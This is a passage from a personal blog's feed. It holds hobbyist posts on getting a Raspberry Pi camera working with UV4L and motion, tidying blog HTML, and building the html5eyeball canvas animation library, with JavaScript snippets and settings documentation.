Except with a fork of <a href="http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome">motion</a> called <a href="http://www.raspberrypi.org/forums/viewtopic.php?f=43&t=75240">MMAL Motion</a> but it is known to have bits that are in the main branch missing and I wanted to FTP the images when taken to a remote server.

There was whispers of another option that would generate the necessary <code>/dev/video0</code>.

Step up to the plate UV4L Userspace Video4Linux2

the <a href="http://www.linux-projects.org/modules/sections/index.php?op=viewarticle&artid=14">use cases</a> list is quite long as this code supports nearly all video4linux applications. From <a href="http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome">motion</a>, opencv, video streaming via RTMP and everything between. 

<a href="http://www.linux-projects.org/modules/sections/index.php?op=viewarticle&artid=14">Install instructions</a> are easy to follow and consist of 

<code>
sudo vi /etc/apt/sources.list
</code>
and adding
<code>
deb http://www.linux-projects.org/listing/uv4l_repo/raspbian/ wheezy main
</code>
then updating with the standard
<code>
sudo apt-get update
sudo apt-get install motion uv4l uv4l-raspicam
</code>
(for some reason the last command failed, stating something about not being configured but after running it again it installed fine).

I did reboot at this point but I do not think that is necessary.

<code>uv4l --driver raspicam --auto-video_nr</code>
installed the <code>/dev/video0</code>
and <a href="http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome">motion</a> just ran. Immediately recording an image every time I moved in front of the camera.
<code>LD_PRELOAD=/usr/lib/uv4l/uv4lext/armv6l/libuv4lext.so motion</code>

As a bonus the developer handily offeres an example <a href="http://linux-projects.org/downloads/examples/motion.conf">motion.conf</a> file that sets your Raspberry Pi up as a streaming server. Just connect with a browser.
<code>LD_PRELOAD=/usr/lib/uv4l/uv4lext/armv6l/libuv4lext.so motion -c motion.conf</code>

Needless to say I was more than happy to <a href="http://www.linux-projects.org/modules/donations/index.php">donate</a>




</description>
</item>
<item>
<title>improving the flog blogging system</title>
<pubDate>Sun, 01 Jun 2014 22:03:58 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2014.html#p010620142203</link>
<description>
It has been a while but I am always trying to improve the <a href="/flog/flog.html">f-log</a> experience.

I first setup <a href="http://en.wikipedia.org/wiki/Iconv">iconv</a> to remove rouge Unicode characters that sometimes get posted due to copy&amp;paste errors.
<code>iconv -f utf-8 -t ascii -c source.file > target.file</code>

Then I installed <a href="http://tidy.sf.net">tidy</a> to try and pick up the stupid hand editing html errors that occasionally slip through.

<a href="http://tidy.sf.net">Tidy picked up on things like</a>, all my anchor tags should be ids and not names and that links should not have un-encoded spaces.
</description>
</item>
<item>
<title>saying goodbye to the html5eyeball project</title>
<pubDate>Sun, 01 Jun 2014 21:49:06 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2014.html#010620142149</link>
<description>
The <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project is finally complete.

<strong>Demos</strong>
<a href="http://robgithub.github.io/html5eyeball/examples/cutout.html">Live demo with image cut-outs</a>
<a href="http://robgithub.github.io/html5eyeball/examples/cutout_linked.html">Live demo with image cut-outs, eyeballs linked</a>
<a href="http://robgithub.github.io/html5eyeball/examples/twelve_eyeballs.html">Live demo twelve independent eyeballs</a>
<a href="http://robgithub.github.io/html5eyeball/examples/select_your_eyeball.html">Live demo alter eyeball settings and see changes</a>

<strong>Blog posts</strong>
<a href="May2014.html#p220520142234">birth of the html5eyeball project</a>
<a href="May2014.html#p230520142146">eyeball scaling is number one</a>
<a href="May2014.html#p240520142112">the importance of eyeball canvas layering</a>
<a href="May2014.html#p250520141135">non linear circular scaling for a better eyeball</a>
<a href="May2014.html#p250520142238">Lightning strikes a cord with veins in the html5 eyeball</a>
<a href="May2014.html#p280520142221">tie up your pupil in an iris</a>
<a href="May2014.html#p280520142248">html5eyeball highlights the highlights</a>
<a href="May2014.html#p290520142028">Hating jQuery is overrated</a>
<a href="Jun2014.html#p010620141159">auto offsets make eyeball life easy</a>
<a href="Jun2014.html#p010620142040">html5eyeball settings and methods</a>
<a href="Jun2014.html#p010620142114">spectrum jquery plugin saves the select your eyeball demo</a>

On to the next thing ...
</description>
</item>
<item>
<title>spectrum jquery plugin saves the select your eyeball demo</title>
<pubDate>Sun, 01 Jun 2014 21:14:29 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2014.html#010620142114</link>
<description>
In the <a href="http://robgithub.github.io/html5eyeball/examples/select_your_eyeball.html">select your eyeball</a> live demo the colours can be chosen thanks to the amazing http://bgrins.github.io/spectrum/ jQuery colour picker plugin.

It is very easy to use but I had a bit of an issue.

To set it up all you need to do is include the JavaScript and CSS files.
<code>
  &lt;script src="https://code.jquery.com/jquery-1.11.0.min.js"&gt;&lt;/script&gt;
  &lt;link rel="stylesheet" type="text/css" href="http://bgrins.github.com/spectrum/spectrum.css"&gt;
  &lt;script type='text/javascript' src="http://bgrins.github.com/spectrum/spectrum.js"&gt;&lt;/script&gt;
</code>

Reading all about HTML5 input support I had set all the input tabs to "color" and "range".
<code>
&lt;input type="color"&gt;
&lt;input type="range"&gt;
</code>
"range" worked beautifully. Rendering a nice slider on compatible browsers and a simple text box on older setups.

Just the act of setting the colour pickers "input" tags to "color" and including the <a href="http://bgrins.github.io/spectrum/">Spectrum</a> files instantly made them all colour pickers, Hooray! The idea being that any new super shiny browsers that supported the 'type="color"' would show the browsers native colour picker. Then I could set the customisation settings in <a href="http://bgrins.github.io/spectrum/">Spectrum</a> and go happily on my way.

I set the "value" of of the colour pickers to the requisite default values including the highlights.
<code>
&lt;input type="text" id="settings-h1-colour-colour1" class="colorpicker" value="rgba(200,200,200,0.4)"&gt;
</code>
Only to find the <a href="http://www.w3.org/TR/html-markup/input.color.html#input.color.attrs.value">w3c spec</a> requires the value to be a <a href="http://www.w3.org/TR/html-markup/datatypes.html#form.data.color">simple color</a> type. No ALPHA! Shock horror. So now the colour pickers are of 'type="text"' which works fine for <a href="http://bgrins.github.io/spectrum/">Spectrum</a>.

Hopefully the w3c will fix this in the next version of html ;)
</description>
</item>
<item>
<title>html5eyeball settings and methods</title>
<pubDate>Sun, 01 Jun 2014 20:40:40 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2014.html#010620142040</link>
<description>
This final post in the <a href="/flog/tags.html?tag=html5eyeball">series</a> for the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project we are going to run down the settings and methods available.

You can see most of the options in action in the <a href="http://robgithub.github.io/html5eyeball/examples/select_your_eyeball.html">select you eyeball</a> live demo. The only setting you cannot change is the <strong>irisColours</strong> which defines the random set of colours used when you click the eyeball.
More examples of changing <strong>irisColours</strong> can be seen in the <a href="http://robgithub.github.io/html5eyeball/examples/twelve_eyeballs.html">twelve eyeballs demo</a>.

<strong>targetId</strong>
This is the string id of the element you want to contain the eyeball. It is set via the constructor and I can not think of a good reason why you would set it manually.
<code>
var eyeball = new Eyeball("eyeball");
...
&lt;div id="eyeball" /&gt;
</code>
The size of the eyeball and its location are defined by the css for that html element.

<strong>travel</strong>
Distance the iris is allowed to travel within the eyeball. 

A value of "1.0" will permit the iris to travel from the centre all the way to the edge. "0.0" means the iris cannot travel at all.

In the <a href="http://robgithub.github.io/html5eyeball/examples/cutout.html">html5eyeball cutout example</a> travel is set to "0.5" to avoid the iris disappearing behind the eyelids. The <a href="http://robgithub.github.io/html5eyeball/examples/twelve_eyeballs.html">twelve eyeballs demo</a> has all the eyeballs travel set to "1.0" to allow full movement.

<strong>hideRenderLayers</strong>
The default is to hide the <a href="http://www.jumpstation.co.uk/flog/May2014.html#240520142112">layers</a> that make up the eyeball. When set to true the canvas elements 
<ul>
<li>canvasMain</li>
<li>canvasBackground</li>
<li>canvasVeins</li>
<li>canvasIris</li>
<li>canvasHighlights</li>
</ul>
are shown. "canvasMain" is the always shown and *is* the eyeball, the others have logical names.

FYI the names are not html element ids but css classes.

<strong>hideMarkers</strong>
The markers define which way the eyeball is looking and how far the iris has travelled.
They very instrumental in the spikes(pun intended) that make up the history of the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project.

<img src="images/jsfiddle201404/Mouse%20follow%20move.png" alt="marker triangles, looking at the mouse">
<a href="http://jsfiddle.net/rob_on_earth/2gP56/">JSFiddle</a>
<img src="images/jsfiddle201404/scaling%20based%20on%20distance%20from%20center.png" alt="marker triangles, looking at the mouse and exhibiting scaling.">
<a href="http://jsfiddle.net/rob_on_earth/47PrR/">JSFiddle</a>

<strong>useCircleScaling</strong>
As simple as "circle scaling" is, it is the one bit of the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project I am most proud of. Without it, the iris and its movement looks flat, with it, the visual dynamic is transformed.
Read all about <a href="http://www.jumpstation.co.uk/flog/May2014.html#p250520141135">Circle Scaling</a> elsewhere in the <a href="/flog/tags.html?tag=html5eyeball">series</a>.
<img src="images/jsfiddle201404/semi%20circle%20plot%201.0%20address%20space.png" alt="plotting of a semi-circle on a 0.0-1.0 graph">
<br><a href="http://jsfiddle.net/rob_on_earth/7b2bx/">JSFiddle</a>

<strong>numLinesIris</strong>
Number of random lines that are projected from the centre of the iris. 

Covered <a href="http://www.jumpstation.co.uk/flog/May2014.html#p280520142221">elsewhere</a> in the <a href="/flog/tags.html?tag=html5eyeball">series</a>.

<strong>eyeColour</strong>
Initial iris colour.

Defined as a JSON object with "red", "green" and "blue" with values from 0 to 255 and "alpha" which is a value between 0.0 and 1.0

<strong>irisOuterColour</strong>
This is the colour that the iris lines fade to randomly, normally a highly transparent colour.

Defined as a JSON object with "red", "green" and "blue" with values from 0 to 255 and "alpha" which is a value between 0.0 and 1.0

<strong>irisInternalColour</strong>
Is the ambient iris colour where no <strong>eyeColour</strong> or <strong>irisOuterColour</strong> rendered pixels exist. Normally set to black.

Defined as a JSON object with "red", "green" and "blue" with values from 0 to 255 and "alpha" which is a value between 0.0 and 1.0

<strong>eyeballGradient1</strong>
The central part of the background eyeball's colour, often white, takes up 75%.

Defined as a JSON object with "red", "green" and "blue" with values from 0 to 255 and "alpha" which is a value between 0.0 and 1.0

<strong>eyeballGradient2</strong>
The next 10% of the eyeball background gradient.

Defined as a JSON object with "red", "green" and "blue" with values from 0 to 255 and "alpha" which is a value between 0.0 and 1.0

<strong>eyeballGradient3</strong>
The last 15% of the eyeball background gradient, the edge.

Defined as a JSON object with "red", "green" and "blue" with values from 0 to 255 and "alpha" which is a value between 0.0 and 1.0

<strong>veinColour</strong>
Colour of the veins.

Defined as a JSON object with "red", "green" and "blue" with values from 0 to 255 and "alpha" which is a value between 0.0 and 1.0

<strong>veinWidth</strong>
The width of the veins. Where "1.0" set a single non-anti aliased pixel and any non whole number create an nice smooth anti aliased result.

<strong>veinBranches</strong>
The number of times the vein algorithm will create a new branch. A value of "1" creates no branches only the initial single starting line. 

WARNING! Setting the high values will slow your computer down and as each branch gets shorter you will not see them anyway.

There is a detailed <a href="http://www.jumpstation.co.uk/flog/May2014.html#p250520142238">blog post</a> about the veins.

<img src="images/jsfiddle201404/Lightning%20v3%20rotaions.png" alt="many recursively drawn veins in a circle">
<br><a href="http://jsfiddle.net/rob_on_earth/H8b2Y/">JSFiddle</a>

<strong>pupilScale</strong>
Set to "1.0" the pupil will be drawn with a diameter of 1/6th the diameter of the eyeball.

<strong>animatePupil</strong>
When "setPupil()" or "setIris()" is called the pupil will be drawn twice its current size and then a 30 frames per second it will shrink back to its normal diameter(see above). The scaling algorithm use the non-linear <a href="http://www.jumpstation.co.uk/flog/May2014.html#p250520141135">circle scaling</a> method.

<strong>pupilColour</strong>
Colour of the pupil, I suggest black.

Defined as a JSON object with "red", "green" and "blue" with values from 0 to 255 and "alpha" which is a value between 0.0 and 1.0

<strong>highlight1/highlight2</strong>
These two parameters define the location, size and appearance of the two highlights.

The setting is a JSON string defining
<strong>x</strong> horizontal location as a decimal of total width. e.g. 0.5 is half way.
<strong>y</strong> vertical location as a decimal of total height. e.g. 0.0 is the top.
<strong>width</strong> width as a decimal of total width. e.g. 0.5 is half the total size.
<strong>height</strong> height as a decimal of total height. e.g. 1.0 is the same as the full height.
<strong>colour1</strong> defined as a JSON object with "red", "green" and "blue" with values from 0 to 255 and "alpha" which is a value between 0.0 and 1.0
<strong>colour2</strong> defined as a JSON object with "red", "green" and "blue" with values from 0 to 255 and "alpha" which is a value between 0.0 and 1.0

<strong>irisColours</strong>
An array of colours used a a random pool when the "setPupil()" or "setIris()" method are called.

Defined as a JSON object with "red", "green" and "blue" with values from 0 to 255 and "alpha" which is a value between 0.0 and 1.0

<strong>init()</strong>
Called after the settings are correct, it will recreate all the required <a href="http://www.jumpstation.co.uk/flog/May2014.html#240520142112">layers</a>.

<strong>doDraw()</strong>
With no parameters centres the eye. Often called with the mouse coordinates to set the eye to look at the mouse location.
<code>
$(window).mousemove(function (event) {
	eyeball.doDraw(event.pageX, event.pageY);
});
</code>
(Example uses <a href="http://jquery.com">jQuery</a>.)
The <a href="http://robgithub.github.io/html5eyeball/examples/cutout_linked.html">Cutout - linked</a> demo passes an offset value to each eye to keep them linked.
<code>
	// linking offsets
	var linkOffsetX = 55;
	var linkOffsetY = 4;

    // trap mouse movements and cause updates
    $(window).mousemove(function (event) {
        eb1.doDraw(event.pageX - linkOffsetX, event.pageY);
        eb2.doDraw(event.pageX + linkOffsetX, event.pageY + linkOffsetY);
    });
</code>
(Example uses <a href="http://jquery.com">jQuery</a>.)
The linkOffsetX/Y values are specific to the location of the eyeballs in the photo used.

<strong>setIris() / setPupil()</strong>
When called with no parameters sets the iris to a random colour from the "irisColours" array. As this is truly random, there is a possibility that the colour chosen will the colour already in use.
If "animatePupil" is true then the pupil is animated(see above).

No other methods are expected to be called from outside the Eyeball object, but I am not hiding them if you want to play. No documentation or future compatibility is provided for these.

<hr />

<strong>Trouble shooting</strong>
If nothing shows and there are no JavaScript errors it is most likely that your html element that holds the eyeball is either, not visible, off screen or has no width / height set in CSS.

And that concludes the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project <a href="/flog/tags.html?tag=html5eyeball">series</a> of f-log posts.
</description>
</item>
<item>
<title>auto offsets make eyeball life easy</title>
<pubDate>Sun, 01 Jun 2014 11:59:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2014.html#010620141159</link>
<description>
While creating the <a href="http://robgithub.github.io/html5eyeball/examples/cutout.html">cutout example</a> for the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project I found that manually setting the "offsetLocationX" and "offsetLocationY" was painful.

You can see in an early <a href="http://jsfiddle.net/rob_on_earth/7rQyy/60/">JSFiddle</a> that the large eyeball requires the offset
<code>    eb1.offsetLocationX=0;
    eb1.offsetLocationY=100;
</code>
and the smaller one
<code>    eb1.offsetLocationX=300;
    eb1.offsetLocationY=200;
</code>
These values represent the pixel values of the divs that contain the "eyeballs". But wait I set those in css ("top", "left"), can I not just get those values from css?

Well not in straight forward way. Although the values in that example are directly linked to the 0,0 point on the page I could not expect users of the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project to have such simplistic html layouts.

<a href="http://stackoverflow.com/</a> provided <a href="http://stackoverflow.com/questions/442404/retrieve-the-position-x-y-of-an-html-element>many possible answers</a>, but all failed the border width test.
The correct code was found as a comment linked to <a href="http://javascript.info/tutorial/coordinates">"very interesting article on JS coordinates"</a> that explained that the standards
<code>elem.getBoundingClientRect()</code>
is supported by most browsers and IE8 and up.

Now as part of the "init()" call "getOffset" function is called
<code>	// Get the pixel offset of the DOM element taking into account the page being scrolled.
// from http://javascript.info/tutorial/coordinates
eyeball.getOffset = function(elem) {
	var box = elem.getBoundingClientRect()
	var body = document.body
	var docElem = document.documentElement
	var scrollTop = window.pageYOffset || docElem.scrollTop || body.scrollTop
	var scrollLeft = window.pageXOffset || docElem.scrollLeft || body.scrollLeft
	var clientTop = docElem.clientTop || body.clientTop || 0
	var clientLeft = docElem.clientLeft || body.clientLeft || 0
	var top = box.top + scrollTop - clientTop
	var left = box.left + scrollLeft - clientLeft
	return { "Top": Math.round(top), "Left": Math.round(left) }
};
</code>
That is able to populate the now internal "offsetLocationX" and "offsetLocationY" values and the "gaze" of the eyeballs automatically works.

The last post in the <a href="/flog/tags.html?tag=html5eyeball">series</a> will be a run down of all the settings.
</description>
</item>
<item>
<title>Hating jquery is overrated</title>
<pubDate>Thu, 29 May 2014 20:28:11 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2014.html#290520142028</link>
<description>
So do I really hate <a href="http://jquery.com">jQuery</a>? No, but I see no reason to unnecessarily burden the user with it as a requirement.

First up the <a href="http://robgithub.github.io/html5eyeball/examples/cutout.html">html5eyeball cutout example</a> uses <a href="http://jquery.com">jQuery</a>. My <a href="http://www.jumpstation.co.uk/flog/Apr2014.html#270420141437">2048 investigations</a> use <a href="http://jquery.com">jQuery</a> and so on...

For the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project I deliberately removed the <a href="http://jquery.com">jQuery</a> requirement from the core code so that like the <a href="http://robgithub.github.io/html5eyeball/examples/cutout.html">cutout example</a> you can easily plumb it back in. Of course you can easily use other libraries or just go pure JavaScript.

What does the plumbing look like?
<code>    $(window).mousemove(function (event) {
        eb1.doDraw(event.pageX, event.pageY);
        eb2.doDraw(event.pageX, event.pageY);
    });
</code>
That updates the two eyeballs by calling their respective "doDraw" methods as the mouse is moved.
clicking the eyeballs requires
<code>
    $('#eyeball1').click(function (){
        eb1.setPupil();
    });
    $('#eyeball2').click(function (){
        eb2.setPupil();
    });
</code> 
where "eb1" and "eb2" are the JavaScript objects created as "eyeballs" and "#eyeball1"/"#eyeball2" are the html objects that hold the "eyeballs".
Such as
<code>
    var eb1 = new Eyeball("eyeball1");
    eb1.init();
    var eb2 = new Eyeball("eyeball2");
    eb2.init();
</code>

To allow the JavaScript to make "new" instances I made Eyeball a function and then everything in it a member of that.
<code>
function Eyeball(elementId) {
    var eyeball = this;
    eyeball.targetId = elementId;
</code>
this constructor makes a context called "eyeball" that everything is attached. Excluding objects that are private.
Example of a public function
<code>
// Convert degrees to radians
eyeball.deg2Rad = function(degrees) {
	return degrees * Math.PI / 180;
};
</code>
Example of private objects that the caller can not interfere with accidentally.
<code>
	var isDrawing=false; 
	var animatedPupilScale = 0.0;
    var pupilAnimationIntervalId = 0;
</code>
The "eyeball" context exists in the creations of the "Eyeball" object but not to the functions themselves, where we must revert to "this".
<code>
// return random value between 0 and 1.0
eyeball.getRandom = function() {
	return Math.random();
};

// return random float value between min and max (including min and up to but not including the whole number max)
eyeball.getRandomRange = function(min,max) {
	return min + ( max * this.getRandom());
};
</code>
There are just two more posts due in this <a href="/flog/tags.html?tag=html5eyeball">series</a>. The magic of offsets and then a complete run down of all the settings. 
</description>
</item>
<item>
<title>html5eyeball highlights the highlights</title>
<pubDate>Wed, 28 May 2014 22:48:09 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2014.html#280520142248</link>
<description>
I know <a href="/flog/tags.html?tag=html5eyeball">this</a> is dragging out, but I want to get my moneys worth the for the amount of time I have spent on the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project.

Today is the turn of the highlights. Not very exciting but comparing the eyeball with and without them is a huge difference.
<img src="images/jsfiddle201404/html5canvasiris%20early.jpg" alt="iris no highlights">
<a href="http://jsfiddle.net/rob_on_earth/9rk5m/">JSFiddle</a>
<img src="images/jsfiddle201404/html5canvasiris%20early2.jpg" alt="iris with highlights">
<a href="http://jsfiddle.net/rob_on_earth/DDaBt/">JSFiddle</a>

Two things make the highlights special. Firstly they do not move so appear to come from an external source and secondly they are carefully blended to only lighten colours underneath.

The lightening is not readily obvious when compared with just rendering a lighter object above the. But this subtly does make the experience more realistic.

You can control the the highlights.
<code>eyeball.highlight1 = {'x':.35, 'y':.35, 'width':.16, 'height':.1, 'colour1' : {'red':200,'green':200,'blue':200, 'alpha' : 0.4}, 'colour2' : {'red':0,'green':0,'blue':0, 'alpha' : 0.0}};
eyeball.highlight2 = {'x':.64, 'y':.64, 'width':.04, 'height':.02, 'colour1' : {'red':200,'green':200,'blue':200, 'alpha' : 0.2}, 'colour2' : {'red':0,'green':0,'blue':0, 'alpha' : 0.3}};
</code>
That is setting the first highlight to be a red-ish halo with a green centre and the second with yellow outer and transparent inner. 

Note the x, y, width, height values are in percentage points of the size of the eyeball.
<a href="/flog/May2014.html#p230520142146">eyeball scaling is number one</a>

That is it for the visual elements but there is more in our <a href="/flog/tags.html?tag=html5eyeball">journey</a>. Next up is why I hate JQuery and how the JavaScript got packaged.
</description>
</item>
<item>
<title>tie up your pupil in an iris</title>
<pubDate>Wed, 28 May 2014 22:21:10 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2014.html#280520142221</link>
<description>
The iris and pupil where joined as one for the majority of the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project. One of my favourite features of the original <a href="http://www.pay4foss.org/jumpstation/sliball">sliballs</a> incarnation was that the user could click the eyeball and as well as the iris changing colour the pupil would expand suddenly then slowly contract. This was to simulate sudden exposure to light and always catches people unaware.

<img src="images/jsfiddle201404/html5canvasiris%20early2.jpg" alt="large computer generated iris with pupil and highlights">
<a href="http://jsfiddle.net/rob_on_earth/DDaBt/">JSFiddle</a>

To make this happen I had to decouple the pupil from the iris. As the pupil was just a filled circle there was no point creating a separate layer for it.

<img src="images/jsfiddle201404/eyeball%20colour%20change.png" alt="eyeball layers showing the lack of integrated pupil">
<a href="http://jsfiddle.net/rob_on_earth/j62YN/">JSFiddle</a>

It was then a simple matter to create and entry point that the controlling JavaScript could call.
<code>eyeball.setPupil({'red':255,'green':0,'blue':0});</code>
Will set the iris red. If no parameters are passed to setPupil then a random colour from the irisColours array is used.
<code>eyeball.irisColours = [{'red':0,'green':255,'blue':0},{'red':255,'green':255,'blue':0},{'red':0,'green':255,'blue':255}];</code>
These are example colours, it is not limited to three.

If the setting animatePupil is true(the default) when setPupil() is called then the pupil is doubled in size and at 30 frames per second contracts back to its normal size.

This iris is incredibly simple. Just an array of coloured lines projecting from the centre. What gives the iris its luminosity is that each line has a random point where it fades to the colour set as eyeball.irisOuterColour. The main colour can also be supplied as eyeball.irisInternalColour

It is worth pointing out that real irises are "draw string bags" that tighten to constrict over the pupil.
http://twistedsifter.com/2012/08/extreme-close-ups-of-the-human-eye/
http://www.dailymail.co.uk/sciencetech/article-2246888/The-eyes-The-iris-pictured-remarkable-incredible-close-shots.html

So that must be it for the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project? No yet, next it the high lights.
</description>
</item>
<item>
<title>Lightning strikes a cord with veins in the html5 eyeball</title>
<pubDate>Sun, 25 May 2014 22:38:15 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2014.html#250520142238</link>
<description>
As mentioned <a href="/flog/May2014.html#p230520142146">before</a> one of the key areas I wanted to improve upon with the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project was the veins.

The pre-drawn veins in <a href="http://www.pay4foss.org/jumpstation/sliball">sliballs</a> bugged me for two reasons. 1) that wither everything else being dynamic and XAML-ly they we "cheap" and out of place. 2) I SHOULD be able to design a system to generate them dynamically.

The approach was to use recursion. Something I had needed for my <a href="http://www.jumpstation.co.uk/flog/Mar2011.html#070320111852">Professor Layton Mono C# Peg Solitaire solver</a>. Recursion can be summarised as a distributed state machine and the easiest example is walking a file system. Start in the root folder and check for folders and files, if there are files process them if there are folders add them to the "Need to be looked at" queue. As soon all the files in the current folder are processed look at any folders in the queue and start the process all over again. For the <a href="http://www.jumpstation.co.uk/flog/Mar2011.html#070320111852">Professor Layton Mono C# Peg Solitaire solver</a> the state was not folders but board layouts with additional possible moves.

For the veins it was about branching. Each branch would create a stalk and then if permitted split in two and each branch would follow the same rules. This is very easy to visualise but took me quite sometime with various tweaks to get anywhere near what I was looking for.

Here I prove the concept with hard coded values. 
<img src="images/jsfiddle201404/lightning%20v1.png" alt="basic single level recursion with hard coded values">
<a href="http://jsfiddle.net/rob_on_earth/fYJvT/">JSFiddle</a>

That would not scale I need to plot my branch forks with angles. I needed to understand rotation.
<img src="images/jsfiddle201404/rotation test.png" alt="canvas rotation">
<a href="http://jsfiddle.net/rob_on_earth/GRQkm/">JSFiddle</a>

and point projection
<img src="images/jsfiddle201404/Point projection.png" alt="multiple spokes from a single point via only and angle and length">
<a href="http://jsfiddle.net/rob_on_earth/8hQcE/">JSFiddle</a>

Now in my recursive function I could split the branch via random angles and just pass the new angle and a random length to the recursive function, could split the branch via random angles and just pass the new angle and a random length to the recursive function, could split the branch via random angles and just pass the new angle and a random length to the recursive function. 

But I could not allow the recursive function to run forever. There is a famous fable about a payment requested from a king. The king is asked to only pay one (either grain of rice or gold coin, depending on which version you read) and to double that amount until a chess board has been filled. A chess board having 8x8 spaces in 64 increments.

In the first space is one item, in the second two, in the third four and so on.

1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, 4096 etc

that's just thirteen places at the 64th the value is 9,223,372,036,854,775,807, that's a big scary number.

If I let my lightning algorithm run for more than 10 levels then the computer slows down, a lot. My ideal value seems to be about 5.
<img src="images/jsfiddle201404/Lightning%20v2(veins).png" alt="lightning recursion at 5 levels">
<a href="http://jsfiddle.net/kyEuX/">JSFiddle</a>

There was also the small problem of making my nice inverted lightning appear in a circle, like an eyeball.
<img src="images/jsfiddle201404/Lightning%20v3%20rotaions.png" alt="many recursively drawn veins in a circle">
<a href="http://jsfiddle.net/rob_on_earth/H8b2Y/">JSFiddle</a>

Initially I tried to create a "fade" in the centre to allow for long veins. But after tweaking the algorithm I am happy with random possibilities.
<img src="images/jsfiddle201404/Radial%20fade.png" alt="testing fading options in canvas drawing">
<a href="http://jsfiddle.net/rob_on_earth/uezZ2/">JSFiddle</a>

The very last piece of the vein puzzle was to make the area the veins occupied large enough it could be scrolled around as the eyeball "looked" around.
Details of the canvas layer composition that masked out unwanted veins can be found <a href="http://www.jumpstation.co.uk/flog/May2014.html#p240520142112">here</a>.
<img src="images/jsfiddle201404/vein%20masking.jpg">
<a href="http://jsfiddle.net/rob_on_earth/5F9jk/">JSFiddle</a> (excessive veins are used to show up the procedure).

There are surprisingly more posts to be made in this <a href="/flog/tags.html?tag=html5eyeball">series</a>. Next time the iris and pupil take centre stage.

</description>
</item>
<item>
<title>non linear circular scaling for a better eyeball</title>
<pubDate>Sun, 25 May 2014 11:35:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2014.html#250520141135</link>
<description>
To get the iris to appear correctly we have to first move to the new point, then rotate the opposite way we want to point scale horizontally and finally rotate to reverse angle.
These clock faces demonstrate the procedure.
<img src="images/rotation%20and%20scaling%20clock.jpg" alt="four clock faces at different scaling and rotations as part of the process" >

So that's it, job done? Not quite. With linear scaling where the amount the iris is scaled horizontally(in step 3.) is directly proportional to the location on the eyeball. That is that at the side of the eyeball the iris is fully scaled and at the centre of the eye it has no scaling, with the half way point having exactly 50% of the scaling found at the edge. Seems logical enough and is the process that the <a href="http://www.pay4foss.org/jumpstation/sliball">sliballs</a> used. But it has the tendency to break the illusion the more you see the eyeballs 'looking' in different directions. At first glance everything appears correct but then it becomes clear that the iris is a flat object 'sliding' about the surface of the eye.

To combat this I needed a different kind of scaling. I tried a number of well known curves, such as sine and exponential but they did not produce the affect I wanted. I basically wanted a circular curve...
First I tried to get my head around the plotting of circles and arcs that make up circles. Most drawing libraries/frameworks abstract the math away from the developer but I needed to control them. the math in the end is quite simple(in length) plot a point with sin and cos by passing in a radian of the angle you are interested in.
<code>function drawSemicircle(cx, cy, r, startAngle, endAngle, increment, style)
{
    var x = 0;
    var y = 0;
    for (a=startAngle; a <= endAngle; a += increment) {
        x = r * Math.cos(deg2Rad(a)) + cx;
        y = r * Math.sin(deg2Rad(a)) + cy;
        plotPoint(x, y, 4, style);
    }
}
</code>
Where cx, cy are the pixel locations of the centre of your semi-circle and r is the radius from the centre.
<img src="images/jsfiddle201404/Plotting%20a%20semi%20circle.png" alt="plotting a semi-circle in standard pixel address space">
<a href="http://jsfiddle.net/rob_on_earth/BLASN/">JSFiddle</a>

Job done? No, I need that semi-circle to plotted in a virtual address space ranging from 0.0(no scaling) to 1.0(100% scaled). Then I can pass in my linear iris movement and receive my circular plotted scaling value.
<img src="images/jsfiddle201404/semi%20circle%20plot%201.0%20address%20space.png" alt="plotting of a semi-circle on a 0.0-1.0 graph">
<a href="http://jsfiddle.net/rob_on_earth/7b2bx/">JSFiddle</a>

<code>// plots n as x on a semi circle and returns the y
// n cannot be outside the range 0.0 - 1.0 or the fabric of space maybe imperceptibly altered.
function circ(n) {
	var angle90 = Math.PI / 2;
	var radius = 1;
	var y = radius * Math.sin(angle90 * n);
	return y;
};
</code>
Note the lack of the 'cos' Math function as the input, 'n' provides that value.

Now as the iris travels from the centre of the eyeball to the edge the scaling takes place as a sort of "acceleration curve". This produces a much more realistic appearance that tricks the views eye.

It is worth pointing out (as I did on the <a href="http://www.pay4foss.org/jumpstation/sliball">sliballs</a> page) that if the 'iris' circle was instead a rectangle, then the illusion would just not work. The viewer would need the corners furthest away from the centre of the eye to be closer together due to perspective than the corners closest to the centre. Indicating they were closer to the viewer or further away.

In next post in the <a href="/flog/tags.html?tag=html5eyeball">series</a> we will investigate the lightning generation that makes up the random vein patterns.
</description>
</item>
<item>
<title>the importance of eyeball canvas layering</title>
<pubDate>Sat, 24 May 2014 21:12:29 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2014.html#240520142112</link>
<description>
So one of the biggest hurdles with the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project was layering. In <a href="http://slsushi.co.uk/">Silverlight</a> the vector based entities you design in XAML remain layered entities and you can move them to your hearts content. But with the html5 canvas each element is rendered to the canvas. For want of a better analogy, the paint is stuck to the canvas and loses any object nature it may have started with. As well as being a pain for me this allows some truly <a href="http://davidwalsh.name/canvas-demos">amazing pixel manipulation</a>.

